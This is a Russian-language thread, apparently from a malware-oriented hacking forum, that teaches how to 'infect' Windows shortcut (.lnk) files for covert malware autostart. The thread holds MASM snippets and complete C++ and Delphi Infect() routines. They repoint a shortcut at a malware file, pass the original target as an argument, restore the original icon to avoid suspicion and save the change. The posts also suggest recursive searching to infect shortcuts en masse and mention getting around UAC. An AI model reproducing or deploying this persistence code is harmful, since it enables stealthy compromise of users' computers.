• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья "Заражение" ярлыков - за или против

Rev0Lt

RAID-массив
Пользователь
Регистрация
02.07.2011
Сообщения
64
Реакции
1
Здравствуйте уважаемые форумчане и форумчанки (если таковые тут имеются).

На данном форуме я человек новый, только осваиваюсь и тд, поэтому, пока выдалось некоторое количество свободного времени - решил написать небольшую статью. Я конечно не поэт и красиво излагать мысль не умею, но все же :)

Итак о чем статья: как понятно из названия - о ярлыках. С помощью ярлыков можно добраться к часто используемым объектам(файлам) и без особого труда к примеру обеспечить своему софту не особо бросающуюся в глаза автозагрузку. (ну или в каких либо других целях инфекта).

Кучи таких ярлыков можно обнаружить на рабочем столе, в панели быстрого запуска, главном меню и тд. Доступ к этим папкам свободный под всеми Виндами с IL=Medium (Виста,7). И шанс что их рано или поздно запустят - довольно велик, поэтому грех этим не воспользоваться :)

Тут возможно 2 варианта:
1. "Заражение" самого ярлыка путем дописывания пути к своему файлу без изменения иконки - довольно удобная автозагрузка
2. Заражение самих файлов, на которые указывает ярлык

Вариант 1 - довольно прост в реализации. Достаточно всего лишь записаться вперед объекта на который указывает ярлык и после своего запуска запустить сам объект, чтоб не вызывать подозрений
Плюсы: простота реализации, не бросается в глаза (как к примеру тот же реестр и тд)
Минусы: софту придется обрабатывать параметры командной строки, но не все крипторы такое поддерживают.

Вариант 2 - здесь можно извлечь путь к файлу и заразить его шеллкодом (без увеличения размера файла), который запустит малварь. Тут тоже есть своя техника, которой уже несколько лет, но она до сих пор не теряет своей актуальности (об этом в следующей статье).
Плюсы: не нужна никакая командная строка, еще больше не бросается в глаза
Минусы: новичкам не очень просто реализовать, можно здорово подпортить файл-носитель (если он чекает CRC и тд)


Рассмотрим 1 вариант:
Итак задача состоит в следующем (на данном этапе будем считать что ярлык мы нашли):
- создать экземпляр класса
- получить указатель
- загрузить ярлык
- получить путь к объекту ярлыка
- проверить на "зараженность"
- сформировать и вписать новые данные
- установить старую иконку
*- для убедительности можно еще сохранить/вернуть время файла ярлыка

На данном этапе нас интересуют интерфейсы IShellLink и IPersistFile и их методы. Кому интересно подробнее узнать об этих интерфейсах - за меня, думаю, лучше и понятнее расскажет MSDN.

Собственно код (с комментариями) (здесь и далее синтаксис МАСМ):
Код:
; сдесь необходимо инициализировать СОМ
...
; создание экземпляра класса ShellLink
invoke CoCreateInstance, addr CLSID_ShellLink, 0, CLSCTX_INPROC_SERVER, addr IID_IShellLink, addr pSL
...
; получение указателя на IPersistFile
coinvoke pSL, IShellLink, QueryInterface, addr IID_IPersistFile, addr pPF
...
; загрузка ярлыка
coinvoke pPF, IPersistFile, Load, lpBuffer, STGM_READWRITE
...
; получение IShellLink для ярлыка
coinvoke pPF, IShellLink, QueryInterface, addr IID_IShellLink, addr ppSL
...
; получение пути к файлу ярлыка
coinvoke ppSL, IShellLink, GetPath, lpOriginalFile, 512, addr WFD, 0
...
На данном этапе в lpBuffer содержится путь к объекту на который указывает ярлык. Теперь необходимо проверить ярлык на зараженность нашим файлом. Первое что приходит в голову - поиск подстроки в строке. Т.е. мы смотрим - существует ли уже наш файл в данном поле ярлыка. Реализуется данное множеством способов, поэтому зацикливаться нет смысла.
Вписываем новый путь к объекту:
Код:
coinvoke ppSL, IShellLink, SetPath, szMalwareFile
Теперь необходимо в качестве аргумента вписать оригинальный путь к объекту. Можно также добавить какой-либо ключ, чтоб софт знал что делать именно с этм параметром (к примеру: -exec %original_file%)
Код:
coinvoke ppSL, IShellLink, SetArguments, lpOriginalFile
Далее необходимо ПРИНУДИТЕЛЬНО вернуть оригинальную иконку ярлыку,
Код:
coinvoke ppSL, IShellLink, SetIconLocation, lpOriginalFile, 0
сохранить изменения и освободить СОМ.

В результате после таких нехитрых манипуляций получился ярлык, запускающий 2 файла и имеющий первоначальную иконку.

Для глобализации "заражения" можно использовать рекурсивный поиск файлов (FindFirstFile/FindNextFile) в указанных каталогах.

Вот собственно и все. Вариант 2 возможно будет рассмотрен в следующих статьях. Конечно, я не открыл Америку и данная статья не претендует на Оскар, Нобелевскую премию и мировое признание, но все же хочется надеяться, что кому-то это показалось интересным и возможно даже в чем-то помогло.
Благодарю за внимание.

(cl) Rev0Lt for DamageLab (2k11)
 
П.С.: Чуть не забыл - дополнения, исправления, выражение мнений и конструктивная критика - приветствуются.
 
Ну для новичка плюс за идею, но не всегда правда это возможно, вроде в вин 7 с уаком проблемы :) Но это обходится, это уже мелочи. А так способ простой но пиздатый, я тоже юзал, еще к этому стар меню заражал, работает :D:D
 
Небольшое дополнение ;)
Кодес на С++
Код:
#include <windows.h>
#include <shlguid.h>
#include <shobjidl.h>
#include <shlwapi.h>
#pragma comment(lib, "shlwapi.lib")
#pragma comment(linker, "/entry:main")
 
void Infect(LPWSTR lpBuffer, LPSTR szMalwareFile)
{
	int pos = 0;
	IShellLink* pSL;
	IShellLink* ppSL;
	IPersistFile* pPF;
	WIN32_FIND_DATA WFD; 
	LPSTR lpOriginalFile = new char[MAX_PATH];
	strcpy(lpOriginalFile, "/W ");
	
//инициализация СОМ
	CoInitialize(NULL); 
//создание экземпляра класса ShellLink
	if(!CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, IID_IShellLink, (void**)&pSL))
	{
//получение указателя на IPersistFile
  if(!pSL->QueryInterface(IID_IPersistFile, (void**)&pPF))
  {
//загрузка ярлыка
  	if(!pPF->Load(lpBuffer, STGM_READWRITE))
  	{
//получение IShellLink для ярлыка
    if(!pPF->QueryInterface(IID_IShellLink, (void**)&ppSL))
    {
//получение пути к файлу ярлыка
    	pos = (int)strlen(lpOriginalFile);
    	ppSL->GetPath(lpOriginalFile+pos, MAX_PATH-pos, &WFD, 0);
//Теперь необходимо проверить ярлык на зараженность нашим файлом. 
//Первое что приходит в голову - поиск подстроки в строке. Т.е. мы смотрим - существует ли уже наш файл в данном поле ярлыка. 
//Реализуется данное множеством способов, поэтому зацикливаться нет смысла.
//Вписываем новый путь к объекту
    	ppSL->SetPath(szMalwareFile);
//Далее необходимо ПРИНУДИТЕЛЬНО вернуть оригинальную иконку ярлыку
    	ppSL->SetIconLocation(lpOriginalFile+pos, 0);
//Теперь необходимо в качестве аргумента вписать оригинальный путь к объекту. 
//Можно также добавить какой-либо ключ, чтоб софт знал, что делать именно с этим параметром (к примеру: -exec %original_file%)
    	PathQuoteSpaces(lpOriginalFile+pos);
    	ppSL->SetArguments(lpOriginalFile);
//сохранить изменения
    	pPF->Save(lpBuffer, FALSE);
    	ppSL->Release();
    }
  	}
  	pPF->Release();
  }
  pSL->Release();
	}
//освободить СОМ.
	CoUninitialize();
	delete lpOriginalFile;
}// end « Infect »

void __cdecl main()
{
	Infect(L"<USERPROFILE>\\Главное меню\\Программы\\Outlook Express.lnk", 
  "<SystemRoot>\\system32\\notepad.exe");
}// end « main »
"Кодес" на Delphi
Код:
program test;
{$APPTYPE CONSOLE}

uses
   Windows, ActiveX, ShlObj;

function PathQuoteSpaces(lpsz: PChar): LongBool;
stdcall; external 'shlwapi.dll' name 'PathQuoteSpacesA';

procedure Infect(lpBuffer: WideString; szMalwareFile: string);
 var
   pSL: IShellLink;
   ppSL: IShellLink;
   pPF: IPersistFile;
   WFD: TWin32FindDataA;
   lpOriginalFile: array[0..MAX_PATH] of Char;
begin
//инициализация СОМ
	CoInitialize(nil);
//создание экземпляра класса ShellLink
	if CoCreateInstance(CLSID_ShellLink, nil, CLSCTX_INPROC_SERVER, IShellLink, pSL) = 0 then
   begin
//получение указателя на IPersistFile
      //pPF := pSL as IPersistFile;
      if pSL.QueryInterface(IPersistFile, pPF) = 0 then
      begin
//загрузка ярлыка
         if pPF.Load(PWChar(lpBuffer), STGM_READWRITE) = 0 then
         begin
//получение IShellLink для ярлыка
            if pPF.QueryInterface(IShellLink, ppSL) = 0 then
            begin
//получение пути к файлу ярлыка
               ppSL.GetPath(lpOriginalFile, MAX_PATH, WFD, 0);
//Теперь необходимо проверить ярлык на зараженность нашим файлом.
//Первое что приходит в голову - поиск подстроки в строке. Т.е. мы смотрим - существует ли уже наш файл в данном поле ярлыка.
//Реализуется данное множеством способов, поэтому зацикливаться нет смысла.
//Вписываем новый путь к объекту
               ppSL.SetPath(PChar(szMalwareFile));
//Далее необходимо ПРИНУДИТЕЛЬНО вернуть оригинальную иконку ярлыку
               ppSL.SetIconLocation(lpOriginalFile, 0);
//Теперь необходимо в качестве аргумента вписать оригинальный путь к объекту.
//Можно также добавить какой-либо ключ, чтоб софт знал, что делать именно с этим параметром (к примеру: -exec %original_file%)
               PathQuoteSpaces(lpOriginalFile);
               ppSL.SetArguments(lpOriginalFile);
//сохранить изменения
               pPF.Save(PWChar(lpBuffer), false);
            end;
         end;
      end;
   end;
//освободить СОМ.
   CoUninitialize;
end;

begin
   Infect('<USERPROFILE>\Главное меню\Программы\Outlook Express.lnk',
      '<SystemRoot>\system32\notepad.exe');
end.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх